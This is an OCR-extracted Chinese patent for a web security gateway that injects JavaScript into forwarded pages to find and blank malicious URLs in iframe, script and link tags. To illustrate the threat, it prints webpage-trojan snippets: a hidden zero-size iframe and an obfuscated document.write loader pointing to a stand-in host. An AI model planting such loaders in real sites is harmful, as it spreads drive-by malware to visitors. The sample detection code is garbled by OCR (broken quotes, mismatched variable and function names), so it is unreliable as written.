專利名稱:一種安全網關及其轉發網頁的方法
技術領域:
本發明涉及網絡安全領域,具體涉及一種安全網關及其轉發網頁的方法。
背景技術:
經過近二十年的發展,當前互聯網規模已經非常龐大,特別是作為互聯網主要業務之一的Web業務更是得到了極速發展,給人們獲取信息帶來了極大便利。與此同時,那些為人們提供Web業務的Web網站的安全狀況堪憂,最常見的安全問題是Web網站網頁被黑客掛馬。目前,90%以上的木馬、病毒都是利用掛馬網頁傳播的。早期的網頁掛馬是在Web 網頁中直接嵌入IFRAME或者Object對象實現的,比如,黑客在受害者網站www. abc. com首頁面中直接嵌入下面的代碼<iframe src ='Tittp //www. hackers. com/Trojan, html "width = Oheight = 0/>上述 HTML 代碼中,http://www. hackers. com/Trojan, html 所指示的網頁就是一個想通過受害者網站www. abc. com傳播的網頁木馬。如圖1所示,當作為受害者的Web客戶端發送請求給被掛馬的Web網站m abc. com,得到m abc. com網站首頁面并打開時,會去請求木馬所在Web網站www. hackers, com的網頁木馬Trojan, html, Trojan, html將被自動加載在客戶端上,并在用戶沒有知覺的情況下實現對該客戶端的漏洞攻擊和木馬安裝。這些被掛馬的網站既是黑客攻擊的受害者,客觀上也充當了黑客傳播木馬的“幫兇”。一旦一個網站被黑客掛馬,將對該網站的聲譽造成非常不好的影響,因此,網站管理員都在尋求一種能夠自動檢測其網站各Web頁面中網頁掛馬腳本的方法。從上面所述的Web 網頁掛馬例子看出,通常情況下,被掛馬Web網頁和網頁木馬并不在同一個Web網站上。絕大多數情況下,黑客只是在被掛馬的Web頁面中塞入少量幾行HTML代碼(如上所示),這些HTML代碼并不具有傳統文件病毒所具有的病毒特征,因此,無法采用傳統病毒查殺方法對被保護Web網站的所有Web頁面進行病毒掃描來發現網頁中隱藏的網頁掛馬。目前,一種最簡單直接的檢測網頁掛馬腳本的方法就是對各Web頁面進行網頁結構分析(也稱為文檔對象模型分析),然后查找網頁中是否包含指向網頁木馬網站的惡意 URL (Universal Resource Location,統一資源定位符)來判定當前Web網頁是否被掛馬。 后面敘述中,本文稱那些指向網頁木馬所在位置的URL為惡意URL。由于直接嵌入HTML代碼的網頁掛馬方法比較容易通過上面描述的網頁結構分析檢測出來,因此,攻擊者開始更高級的網頁掛馬方法。目前最流行的網頁掛馬方法則是采用客戶端腳本來實現。比如,攻擊者在www. abc. com網站首頁面中嵌入下面的腳本,是采用 Javascript生成IFRAME標簽實現的網頁掛馬代碼<script type = " text/j avascript">var 1 = "http ” +” //” +” www" +” · ” +” hackers” +” · ” +” com/Trojan, html ”document, write ( "<iframe"+ "src =”+l+ "width = Oheight = 0>”)〈/script〉該Javascript代碼將惡意URL保存在變量1中,然后,通過document對象的write函數向當前Web網頁的文檔對象模型輸出一個IFRAME標簽來實現對指定的網頁木馬的自動加載,從而實現了對Web客戶端的漏洞攻擊和木馬安裝。由于采用客戶端腳本的網頁掛馬方法理論上存在無數種變形,因此無法通過靜態的、自動化的網頁結構分析檢測出來。目前比較流行的網頁掛馬檢測方法為Web客戶端蜜罐法,其主要原理是在一個被完全控制的蜜罐中運行一個網頁爬蟲,由網頁爬蟲定期訪問被監控的Web網站,并嘗試打開其中每一個網頁,當打開某個網頁的過程中發現蜜罐被植入了病毒,則判定該網頁被掛馬。基于蜜罐的網頁掛馬檢測方法存在的主要不足是1)蜜罐檢查法對蜜罐環境的依賴性較大,它不能檢測出那些沒有滿足攻擊條件的網頁木馬,比如,采用IntemetExplorer作為瀏覽器的蜜罐是無法檢測到那些針對Mozilla瀏覽器漏洞的網頁木馬;2)蜜罐檢測法為一種主動性的網頁掛馬檢測方法,無法實現對網頁掛馬的實時檢測;3)蜜罐檢測法對計算資源要求較高,無法在Web安全網關上實現。在實際的Web安全防御過程中,人們往往采用Web安全網關(也稱為Web應用防火墻)來實現對網頁掛馬的實時檢測,這是因為Web安全網關部署在離Web服務器最近的地方,它可以對進出Web服務器的HTTP流量進行監控。目前常見的基于Web安全網關的網頁掛馬檢測方法就是前面提到的網頁結構分析和URL匹配方法,其具體工作原理為首先收集那些代表網頁木馬所在位置的惡意URL,并保存在網頁掛馬知識庫中;然后,對于轉發給Web客戶端的每個Web網頁,Web安全網關對該Web頁面進行文檔對象模型(Document Object Model, DOM)分析,抽取出嵌入在該Web頁面中的所有URL,并與先前保存在網頁掛馬知識庫中的惡意URL進行匹配,如果匹配成功,則表示檢測到了網頁掛馬。基于Web安全網關的網頁掛馬檢測方法優點是易于實現,缺點是由于Web安全網關計算能力限制,目前的Web安全網關并不提供對客戶端腳本(比如Javascript或者 VBScript)的解釋執行能力,因此,Web安全網關無法提取出那些利用客戶端腳本生成的惡意URL,從而無法檢測出那些采用客戶端腳本進行網頁掛馬的網頁掛馬行為。為敘述方便,本文將那種不支持客戶端腳本解釋執行的網頁結構分析方法稱為靜態網頁結構分析方法,而將那種支持客戶端腳本解釋執行的網頁結構分析方法稱為動態網頁結構分析方法。
發明內容
本發明要解決的技術問題是提供一種安全網關及其轉發網頁的方法,能夠在不加重安全網關計算開銷的情況下,對隱藏在Web頁面中的惡意URL進行準確的檢測。為了解決上述問題,本發明提供了一種安全網關轉發網頁的方法,包括當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發 Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型, 抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL集合進行匹配;在依附了所述移動代碼的所述Web頁面中添加命令語句;所述命令語句設置成當所述Web頁面被加載時觸發所述移動代碼執行;將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。優選地,所述在所述Web頁面中添加語句的步驟包括在依附了所述移動代碼的所述Web頁面的Body標簽增加onload事件,并使onload事件指向所述移動代碼的主要函數。優選地,所述在所述Web頁面中添加語句的步驟包括在依附了所述移動代碼的所述Web頁面的最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。優選地,所述移動代碼還被設置成當所抽取的URL和所述惡意URL集合中任一 URL 匹配時,發送包含惡意URL報警的HTTP請求給指向所述安全網關的特定URL。優選地,所述移動代碼還被設置成如果發現一個HTML標簽相關的URL值和所述惡意URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值。本發明還提供了一種安全網關,包括添加模塊,用于當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型,抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL 集合進行匹配;Web頁面修改模塊,用于在依附了所述移動代碼的所述Web頁面中添加命令語句, 所述命令語句設置成所述Web頁面當被加載時觸發所述移動代碼執行;Web頁面轉發模塊,用于將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。優選地,所述Web頁面修改模塊在所述Web頁面中添加語句是指所述Web頁面修改模塊在依附了所述移動代碼的所述Web頁面的Body標簽增加 onload事件,并使onload事件指向所述移動代碼的主要函數。優選地,所述Web頁面修改模塊在所述Web頁面中添加語句是指所述Web頁面修改模塊在依附了所述移動代碼的當前Web頁面最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。優選地,所述移動代碼還設置成當所抽取的URL和所述惡意URL集合中任一 URL 匹配時,發送包含惡意URL報警的HTTP請求給指向所述安全網關的特定URL ;所述安全網關還包括惡意URL報警接收模塊,用于當收到惡意URL報警時通知安全管理員;HTTP請求轉發模塊,與所述惡意URL報警接收模塊連接,用于接收來自所述客戶端的HTTP請求,如果該HTTP請求包含惡意URL報警,則將該HTTP請求中包含的惡意URL 報警轉發給所述惡意URL報警接收模塊;如果不包含惡意URL報警,則轉發給服務器。優選地,所述移動代碼還設置成當一個HTML標簽的URL值和所述惡意URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值。本發明的技術方案的優點包括l)ffeb安全網關無需對待轉發的Web頁面執行靜態的和動態的網頁結構分析和惡意URL匹配,只需注入可在Web客戶端執行的移動代碼即可,所有的對Web頁面的動態網頁結構分析和惡意URL匹配操作都將在Web客戶端由標準瀏覽器和所述移動代碼完成,這將極大地減輕Web安全網關的計算開銷;2)對Web頁面的動態網頁結構分析操作可以由具有客戶端腳本解釋執行能力的標準瀏覽器完成的,充分利用了 Web客戶端瀏覽器強大的動態網頁結構分析能力,所述移動代碼只需要在Web瀏覽器構建完文檔對象模型并準備加載遠程對象之前對文檔對象模型進行遍歷,就可以提取出所需要的URL列表,從而可以方便的實現對包含在Web頁面中的惡意URL的準確檢測;3)惡意URL檢測操作是由Web安全網關和Web客戶端協助完成的,無需Web服務器的參與,因此易于部署;與當前的單純由Web安全網關實現的惡意URL檢測方法相比,既可以減輕Web安全網關的計算壓力,同時也可大幅提高對Web頁面的惡意URL的檢測準確度。
圖1為Web客戶端訪問被掛馬網站時的攻擊過程;圖2為采用實施例一的網頁轉發方法時,進行惡意URL過濾的方法的流程示意圖;圖3為實施例一的例子中Web客戶端構造的文檔對象模型。
具體實施例方式下面將結合附圖及實施例對本發明的技術方案進行更詳細的說明。需要說明的是,如果不沖突,本發明實施例以及實施例中的各個特征可以相互結合,均在本發明的保護范圍之內。另外,在附圖的流程圖示出的步驟可以在諸如一組計算機可執行指令的計算機系統中執行,并且,雖然在流程圖中示出了邏輯順序,但是在某些情況下,可以以不同于此處的順序執行所示出或描述的步驟。實施例一,一種安全網關轉發網頁的方法,包括當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發 Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型, 抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL集合進行匹配;在依附了所述移動代碼的所述Web頁面中添加命令語句;所述命令語句設置成當所述Web頁面被加載時觸發所述移動代碼執行;將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。本實施例中,所述移動代碼是可以由Web瀏覽器或Web客戶端中其它程序解釋執行的;當位于Web客戶端的標準Web瀏覽器加載依附了所述移動代碼的Web頁面時,將會在加載過程中或加載完成后執行所述移動代碼;所述移動代碼會遍歷當前Web頁面所對應的文檔對象模型,抽取出所依附Web頁面中與可能用來加載網頁木馬的HTML標簽相關的URL, 并將抽取出的URL與所述惡意URL集合進行匹配,從而完成對Web頁面的檢測。本實施例中,所述指定HTML標簽可以但不限于設置為可能用來加載網頁木馬的 HTML標簽,應用時也可以是各類HTML標簽;所述的可能用來加載網頁木馬的HTML標簽可以包括以下任一種或其任意組合IFRAME、OBJECT、SCRIPT,LINK。實際應用時,可以根據情況確定所述移動代碼中的指定HTML標簽,還可以在實施過程中修改。本實施例中,所述的預先設置的惡意URL集合可以但不限于由安全專家通過Web 蜜網或者Web安全事件應急響應過程中收集整理而來。本實施例中,所述移動代碼可以但不限于為Javascript腳本或VBScript腳本。
本實施例中,所述方法還可以包括更新所述惡意URL集合,包括增加、修改和刪除所述惡意URL集合中的惡意URL ;當所述惡意URL集合更新后,用更新后的惡意URL集合替代所述移動代碼中原有的惡意URL集合,或生成新的、攜帶更新后的惡意URL集合的移動代碼。本實施例的一種實施方式中,所述在所述Web頁面中添加語句的步驟具體可以包括在依附了所述移動代碼的所述Web頁面的Body標簽增加onload事件,并使 onload事件指向所述移動代碼的主要函數。該實施方式中,所述客戶端的Web瀏覽器將會在加載過程中執行所述移動代碼。本實施例的另一種實施方式中,所述在所述Web頁面中添加語句的步驟具體可以包括在依附了所述移動代碼的所述Web頁面的最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。該實施方式中,所述客戶端的Web瀏覽器將會在加載完成后執行所述移動代碼。本實施例中所述在所述Web頁面中添加語句的步驟不限于以上兩種實施方式。本實施例中,所述Web瀏覽器加載Web頁面過程中,調用依附于Web頁面中的移動代碼的時間點為Web瀏覽器為當前Web頁面創建完文檔對象模型之后和遠程獲取文檔對象模型中相關元素的嵌入式對象之前。本實施例中,所述移動代碼攜帶指向所述安全網關的特定URL,所述移動代碼還可以被設置成當所抽取的URL和所述惡意URL集合中任一 URL匹配時,通過所述的指向所述安全網關的特定URL向所述安全網關報警,比如但不限于發送包含惡意URL報警的HTTP請求給指向Web安全網關的特定URL。該情況下,如果客戶端執行所述移動代碼時檢測到匹配的惡意URL,則可以向所述安全網關告警。本實施例中,所述移動代碼還可以被設置成如果發現一個HTML標簽相關的URL值和所述惡意URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值,從而阻止客戶端的Web瀏覽器加載該URL所指向的惡意對象。本實施例中的Web安全網關位于Web客戶端和受保護Web網站之間。所述Web客戶端可運行標準Web瀏覽器程序,包括微軟的IE瀏覽器、谷歌的Chrome瀏覽器或者Mozilla 的FireFox瀏覽器等等。目前,所有標準Web瀏覽器都支持Javascript客戶端腳本的解釋執行。此外,微軟的IE瀏覽器還支持VBscript作為客戶端腳本。目前,所有Web頁面都采用標準的HTML語言描述,因此,一個Web頁面所對應的文檔也稱為HTML文檔。標準Web瀏覽器在加載一個HTML文檔的過程為首先依據HTML文檔內容構造該HTML文檔所對應的文檔對象模型(也稱為DOM樹);然后,依據DOM樹內容遠程獲取所需要的各種嵌入式對象(包括圖像、視頻和音頻文件);最后,向用戶呈現一個圖文并貌的Web頁面。如果HTML文檔中包含客戶端腳本,則HTML文檔的加載過程將復雜一些,標準瀏覽器這時需要客戶端腳本執行器的幫助。目前常見的客戶端腳本多為Javascript,下面以Javascript為例說明標準Web瀏覽器加載包含Javascript腳本的HTML文檔的過程。目前,標準HTML文檔采用兩種方式引入javascript腳本1)采用SCRIPT腳本直接引入javascript腳本,比如<script>alert (123) ;〈/script〉,在這種情況下,標準瀏覽器將直接執行夾在〈script〉和〈/script〉標簽之間的“alert (123) ”;2)通過SCRIPT標簽的 SRC 屬性遠程引入 javascript 腳本,比如〈script src = "http//hostl/mimi. js,,>, 在這種情況下,標準Web瀏覽器將首先獲取hostl上的mimi. js文件,然后再執行該文件中所包含的javascript腳本。標準Web瀏覽器在加載HTML文檔時是按順序加載各HTML標簽元素的,并在HTML 標簽元素加載過程時動態構造文檔對象樹。當加載到SCRIPT元素時,它將馬上執行與該SCRIPT標簽相關的javascript腳本,所執行的javascript腳本允許讀取和修改當前的文檔對象模型。所以,如果HTML文檔中存在多個SCRIPT元素,標準Web瀏覽器是按照 Javascript腳本在HTML文檔中的出現順序執行的,也就是說出現在HTML文檔最前面的 javascript腳本總是先于后面的javascript執行。當標準Web瀏覽器加載完HTML文檔中所有的HTML標簽元素后,所述HTML文檔所對應的文檔對象模型就構造完成。當HTML文檔加載完畢并構造了相應的文檔對象模型后,標準Web瀏覽器檢查該文檔對象模型中的BODY元素是否包含onload事件,如果存在onload事件,則調用onload事件中的javascript腳本,該javascript腳本允許對當前的文檔對象模型進行讀取和修改操作。最后,Web瀏覽器剩下工作就是為文檔對象模型中某些特定元素獲取指定的遠程對象,然后為用戶呈現一個圖文并茂的Web頁面。在實施本實施例的網頁轉發方法時,所采用的Web安全網關一般采用反向Web代理的方式實現,它部署在Web服務器的前面,對進出Web服務器的HTTP流量進行安全控制。 Web安全網關向Web服務器轉發來自Web客戶端的HTTP請求,同時向Web客戶端轉發Web 服務器返回的Web頁面。本實施例的一個例子中,Web安全網關和Web客戶端、受保護的Web服務器之間的協作流程如圖2所示,包括如下幾個步驟201、Web客戶端向Web服務器提交HTTP請求,請求指定的Web頁面;202、Web安全網關將截獲該HTTP請求,進行安全檢查;203、Web安全網關將安全檢查后的HTTP請求轉發給受保護的Web服務器;204、Web服務器處理HTTP請求,返回相應的Web頁面給Web安全網關;205、Web安全網關為該Web頁面依附一段可在Web客戶端執行的移動代碼;206、Web安全網關轉發依附了移動代碼的Web頁面給Web客戶端;207、Web客戶端加載依附了移動代碼的Web頁面,并在為該Web頁面構造文檔對象模型完畢后調用依附的移動代碼,執行所述移動代碼遍歷當前Web頁面所對應的文檔對象模型,抽取出所依附Web頁面中所有可能用來加載網頁木馬的HTML標簽相關的URL,并與所述惡意URL集合進行匹配;208、如果在步驟207中檢測到匹配的惡意URL,則向Web安全網關發送包含惡意 URL報警的HTTP請求;209、Web安全網關接收來自Web客戶端的惡意URL報警;雖然該報警也是用HTTP 請求的形式發送的,但Web安全網關檢測到其中包含惡意URL報警后,將不會將該HTTP請求轉發給Web服務器。
下面用三個具體的例子進行說明例子一,本例子中Web安全網關的惡意URL知識庫中包含三條惡意URL,它們分別為http://www. hackers, com/trojan. htmlhttp://www. hackers, cn/attacker, htmlhttp://www. hackers, jp/attacker, png該例子中,生成如下由Javascript腳本描述的移動代碼〈script〉evi IURLs = {“http://www.hackers.corn/trojan.html,,,"http://www. hackers, cn/attacker. html,,,"http://www. hackers, jp/attacker. png"}function DetectEvilURLs(document){H首先對iframe標簽進行惡意URL檢測var iframeTags = document. getElementsByTagName(" iframe");for(i = 0 ;i < iframeTags. length ;i++) {If (iframeTags [i]. src) {if (belongto(iframeTags[i]. src, evilURLs)){alerttoffAF (iframeTags [i]. src) ;// 向 WAF 報警}}}H然后對Javascript標簽進行惡意URL檢測var jsTags = document. getElementsByTagName(” SCRIPT");for(i = 0 ;i < jsTags. length ;i++) {If (jsTags [i], src) {if (belongto (jsTags [i]. src, evilURLs)) {alerttoffAF (styleTags [i]. src) ;// 向 WAF 報警}}}//然后對LINK標簽進行惡意URL檢測var styleTags = document. getElementsByTagName(” LINK");for(i = 0 ;i < styleTags. length ;i++) {If (styleTags [i] · href) {if (belongto (styleTags [i], href, evilURLs)) {alerttoffAF (styleTags [i]. href) ;// 向 WAF 報警}}
10
}}〈/script〉為方便起見,后文中將上述代碼稱為移動代碼A。所述的移動代碼A中,首先采用evilURLs數組定義了預先設置的惡意URL集合; 然后,定義了一個用于實現對惡意URL進行檢測的javascript函數DetectEvilURLs,該函數搜索當前文檔對象模型中的IFRAME、SCRIPT和LINK標簽,并檢測這些標簽所對應遠程對象的URL是否與惡意URL匹配,如果匹配則向Web安全網關進行報警。假設被保護的Web網站www. abc. com上存在一個Web頁面(名字為 ProductDetail. html),該Web頁面所對應的HTML代碼如下所示。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font><body></html>假設由于安全漏洞問題,該Web網站被黑客獲得了網頁篡改權利,黑客在上述Web 頁面的HTML代碼中插入一段如背景技術中所述的網頁掛馬代碼,網頁掛馬后的Web頁面的 HTML代碼如下所示。采用這種方式插入的網頁掛馬代碼是無法通過現有的靜態Web結構分析方法發現的。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font>〈script〉var url = “http :,,+,,//,,+,,www,,+,,· ”+,,hackers,,+,,· ”+,,com/Trojan, html,,document, write ( "<iframe"+ "src ="+url+ "width = 0 height = 0>”)〈/script〉<body></html>假設Web客戶端訪問被保護Web網站上指定的Web頁面ProductDetail. html, Web 服務器在處理該HTTP請求后,將上述網頁掛馬后的Web頁面內容發送給Web安全網關;Web 安全網關在轉發該Web頁面內容前,將為其依附一段所述的移動代碼A,并修改該Web頁面內容中的Body標簽,使得Body標簽的onload事件指向該段移動代碼中的DetectEvilURLs 函數;修改后并依附了移動代碼的Web頁面內容如下所示。<HTML><head><title>Product Detail</titleX/head>〈body onload = ” FilterEvilURLs ();,,〉<gont>many text showed here</font>〈script〉
var 1 =“http. ,,+,,//,,+,,www”+,,· ”+,,hackers,,+,,· ”+,,com/Trojan, html,,document, write ( "<iframe"+ "src =”+l+ "width = 0 height = 0>”)〈/script〉<script type =,,text/javascript,,>evi IURLs = {____}function DetectEvilURLs(document){...... }</script></body></html>最后,Web安全網關將如上的修改后并依附了移動代碼的Web頁面內容發送給Web
客戶端。Web客戶端上的Web瀏覽器接收到如上的修改后并依附了移動代碼的Web頁面內容后,將加載該Web頁面內容并構造文檔對象模型。加載完畢后,所得到的文檔對象模型如圖3所示,根節點為HTML,根節點的兩個子節點分別為Head和Body ;Head的子節點為 title ;Body 有四個子節點,分別是 font、script、iframe> script。當如圖3所示的文檔對象模型構造完畢后,Web瀏覽器執行Body標簽中的onload 事件,調用所述的移動代碼A,所述移動代碼A首先抽取所有的SCRIPT標簽,并獲取該標簽的SRC屬性中的URL,然后調用belongto函數判定該URL是否屬于惡意URL集合,如果屬于惡意URL集合,則向Web安全網關報警。此外,所述移動代碼A還抽取IFRAME標簽的SRC 屬性中的URL,以及LINK標簽的HREF屬性中的URL值,并調用belongto函數判定該URL是否屬于惡意URL集合。此例子中,所述移動代碼A將發現IFRAME標簽的SRC屬性中包含的 URL"http://www. hackers. com/Trojan, html”與惡意URL集合中第1個元素匹配,因此,所述移動代碼A將向Web安全網關報警。例子二,與例子一基本相同,唯一不同的是例子二并不是截獲BODY標簽的 onload事件來獲得所依附的移動代碼的執行權利,而是通過在Web文檔的最后附加一個 SCRIPT標簽來直接調用移動代碼主函數的方法在Web文檔對象模型構造完畢后獲得對所依附的移動代碼的執行權力。所述的依附了移動代碼和SCRIPT標簽后的Web頁面如下所不。<HTML><head><title>Product Detail</titleX/head><body><font>many text showed here</font>〈script〉var 1 =“http: ” +,,//,,+,,www,,+,,· ” +,,hackers,,+,,· ” +,,com/Trojan, html”document, write ( "<iframe"+ "src =”+l+ "width = Oheight = 0>”)〈/script〉</body></html><script type =,,text/javascript,,>evi IURLs = {____}
function DetectEvilURLs(document){...... }〈/script〉〈script〉DetectEvilURLs(document);〈/script〉例子二中采用在最后追加SCRIPT標簽,并在SCRIPT標簽中直接調用移動代碼主函數方法的優點是Web安全網關在注入移動代碼時并不需要分析Web文檔結構,從而可以極大地提高Web安全網關的移動代碼注入速度。例子三,與例子一基本相同,唯一不同的是例子三中生成的移動代碼包含了對 Web頁面中的惡意URL進行過濾的功能,從而實時保障Web客戶端的安全。所述惡意URL過濾操作由移動代碼執行。例子三中,移動代碼對惡意URL的過濾方法為當在文檔對象模型中發現某HTML 標簽的URL值與某惡意URL匹配時,將其置為空值,這樣阻止了 Web瀏覽器加載該惡意URL 所指向的惡意對象(經常為網頁木馬),從而保障Web客戶端免受網頁木馬的攻擊。包含了惡意URL過濾功能的移動代碼如下所示。〈script〉evi IURLs = {“http://www.hackers.com/trojan.html,,,,,http //www. hackers, cn/attacker, html,,,"http://www. hackers, jp/attacker. png"}function DetectEvilURLs(document){H首先對iframe標簽進行惡意URL檢測var iframeTags = document. getElementsByTagName(" iframe");for(i = 0 ;i < iframeTags. length ;i++) {If (iframeTags [i], src) {if (belongto (iframeTags [i]. src, evilURLs)) {iframeTags [i], src = “”//置為空值,阻止加載惡意對象alerttoffAF (iframeTags [i], src ) ;// 向 WAF 報警}}}H然后對Javascript標簽進行惡意URL檢測varjsTags = document. getElementsByTagName(" SCRIPT");for(i = 0 ;i < jsTags. length ;i++) {If (jsTags [i], src) {if (belongto (jsTags [i], src, evilURLs)) {jsTags [i]. src = “ ” //置為空值,阻止加載惡意對象
alerttoffAF(jsTags[i], src) ;// 向 WAF 報警}}}Il然后對LINK標簽進行惡意URL檢測var styleTags = document. getElementsByTagName (“ LINK");for(i = 0 ;i < styleTags. length ;i++) {If (styleTags [i] · href) {if (belongto (styleTags [i]. href, eviIURLs)) {styleTags [i]. href = “,,//置為空值,阻止加載惡意對象alerttoffAF (styleTags [i]. href) ;// 向 WAF 報警}}}}〈/script〉實施例二,一種安全網關,包括添加模塊,用于當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型,抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL 集合進行匹配;Web頁面修改模塊,用于在依附了所述移動代碼的所述Web頁面中添加命令語句, 所述命令語句設置成所述Web頁面當被加載時觸發所述移動代碼執行;Web頁面轉發模塊,用于將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。本實施例中,所述安全網關還可以包括用于生成所述移動代碼的生成模塊;以及用于保存所述移動代碼的存儲模塊。本實施例中,所述指定HTML標簽可以但不限于設置為可能用來加載網頁木馬的 HTML標簽,應用時也可以是各類HTML標簽;所述的可能用來加載網頁木馬的HTML標簽可以包括以下任一種或其任意組合IFRAME、OBJECT、SCRIPT,LINK。實際應用時,可以根據情況確定所述移動代碼中的指定HTML標簽,還可以在實施過程中修改。本實施例中,所述的預先設置的惡意URL集合可以但不限于由安全專家通過Web 蜜網或者Web安全事件應急響應過程中收集整理而來。本實施例中,所述移動代碼還可以設置成當一個HTML標簽的URL值和所述惡意 URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值,從而阻止客戶端的Web瀏覽器加載該URL所指向的惡意對象。本實施例中,所述移動代碼還可以設置成當所抽取的URL和所述惡意URL集合中任一 URL匹配時,通過指向所述安全網關的特定URL向所述安全網關報警,比如但不限于發送包含惡意URL報警的HTTP請求給指向所述安全網關的特定URL。此情況下,所述安全網關還可以包括惡意URL報警接收模塊,用于當收到惡意URL報警時通過某種預設的方式通知安全管理員;比如在報警控制臺顯示報警信息,告訴管理員所掛馬的Web頁面的URL以及網頁木馬的URL等;HTTP請求轉發模塊,與所述惡意URL報警接收模塊連接,用于接收來自所述客戶端的HTTP請求,如果該HTTP請求包含惡意URL報警,則將該HTTP請求中包含的惡意URL 報警轉發給所述惡意URL報警接收模塊;如果不包含惡意URL報警,則轉發給Web服務器。本實施例中,所述移動代碼可以但不限于為Javascript腳本或VBScript腳本。本實施例中,所述安全網關還可以包括維護模塊,用于更新所述惡意URL集合,包括增加、修改和刪除惡意URL集合中的惡意URL ;當所述更新模塊更新了所述惡意URL集合更新后,用更新后的惡意URL集合替代所述移動代碼原有的URL集合。本實施例的一種實施方式中,所述Web頁面修改模塊在所述Web頁面中添加語句具體可以是指所述Web頁面修改模塊在依附了所述移動代碼的所述Web頁面的Body標簽增加 onload事件,并使onload事件指向所述移動代碼的主要函數。該實施方式中,所述客戶端的Web瀏覽器將會在加載過程中執行所述移動代碼。本實施例的另一種實施方式中,所述Web頁面修改模塊在所述Web頁面中添加語句具體可以是指所述Web頁面修改模塊在依附了所述移動代碼的當前Web頁面最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。該實施方式中,所述客戶端的Web瀏覽器將會在加載完成后執行所述移動代碼。本實施例中所述Web頁面修改模塊在所述Web頁面中添加語句的步驟不限于以上兩種實施方式。本領域普通技術人員可以理解上述方法中的全部或部分步驟可通過程序來指令相關硬件完成,所述程序可以存儲于計算機可讀存儲介質中,如只讀存儲器、磁盤或光盤等。可選地,上述實施例的全部或部分步驟也可以使用一個或多個集成電路來實現。相應地,上述實施例中的各模塊/單元可以采用硬件的形式實現,也可以采用軟件功能模塊的形式實現。本發明不限制于任何特定形式的硬件和軟件的結合。當然,本發明還可有其他多種實施例,在不背離本發明精神及其實質的情況下,熟悉本領域的技術人員當可根據本發明作出各種相應的改變和變形,但這些相應的改變和變形都應屬于本發明的權利要求的保護范圍。
權利要求
1.一種安全網關轉發網頁的方法,包括當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發Web 頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型,抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL集合進行匹配;在依附了所述移動代碼的所述Web頁面中添加命令語句;所述命令語句設置成當所述 Web頁面被加載時觸發所述移動代碼執行;將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。
2.如權利要求1所述的方法,其特征在于,所述在所述Web頁面中添加語句的步驟包括在依附了所述移動代碼的所述Web頁面的Body標簽增加onload事件,并使onload事件指向所述移動代碼的主要函數。
3.如權利要求1所述的方法,其特征在于,所述在所述Web頁面中添加語句的步驟包括在依附了所述移動代碼的所述Web頁面的最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。
4.如權利要求1到3中任一項所述的方法,其特征在于所述移動代碼還被設置成當所抽取的URL和所述惡意URL集合中任一 URL匹配時,發送包含惡意URL報警的HTTP請求給指向所述安全網關的特定URL。
5.如權利要求1到3中任一項所述的方法,其特征在于所述移動代碼還被設置成如果發現一個HTML標簽相關的URL值和所述惡意URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值。
6.一種安全網關,其特征在于,包括添加模塊,用于當從服務器得到客戶端請求的Web頁面后,將預先生成的移動代碼依附到待轉發Web頁面中;所述移動代碼被設置成當執行時遍歷所依附的Web頁面對應的文檔對象模型,抽取出指定HTML標簽中的URL,并將抽取出的URL與預先設置的惡意URL集合進行匹配;Web頁面修改模塊,用于在依附了所述移動代碼的所述Web頁面中添加命令語句,所述命令語句設置成所述Web頁面當被加載時觸發所述移動代碼執行;Web頁面轉發模塊,用于將依附了所述移動代碼并添加語句后的Web頁面轉發給所述客戶端。
7.如權利要求6所述的安全網關,其特征在于,所述Web頁面修改模塊在所述Web頁面中添加語句是指所述Web頁面修改模塊在依附了所述移動代碼的所述Web頁面的Body標簽增加 onload事件,并使onload事件指向所述移動代碼的主要函數。
8.如權利要求6所述的安全網關,其特征在于,所述Web頁面修改模塊在所述Web頁面中添加語句是指所述Web頁面修改模塊在依附了所述移動代碼的當前Web頁面最后位置增加一個直接調用所述移動代碼主函數的SCRIPT標簽。
9.如權利要求6到8中任一項所述的安全網關,其特征在于所述移動代碼還設置成當所抽取的URL和所述惡意URL集合中任一 URL匹配時,發送包含惡意URL報警的HTTP請求給指向所述安全網關的特定URL ; 所述安全網關還包括惡意URL報警接收模塊,用于當收到惡意URL報警時通知安全管理員; HTTP請求轉發模塊,與所述惡意URL報警接收模塊連接,用于接收來自所述客戶端的 HTTP請求,如果該HTTP請求包含惡意URL報警,則將該HTTP請求中包含的惡意URL報警轉發給所述惡意URL報警接收模塊;如果不包含惡意URL報警,則轉發給服務器。
10.如權利要求6到8中任一項所述的安全網關,其特征在于 所述移動代碼還設置成當一個HTML標簽的URL值和所述惡意URL集合中任一 URL匹配時,將該HTML標簽的URL值置為空值。
全文摘要
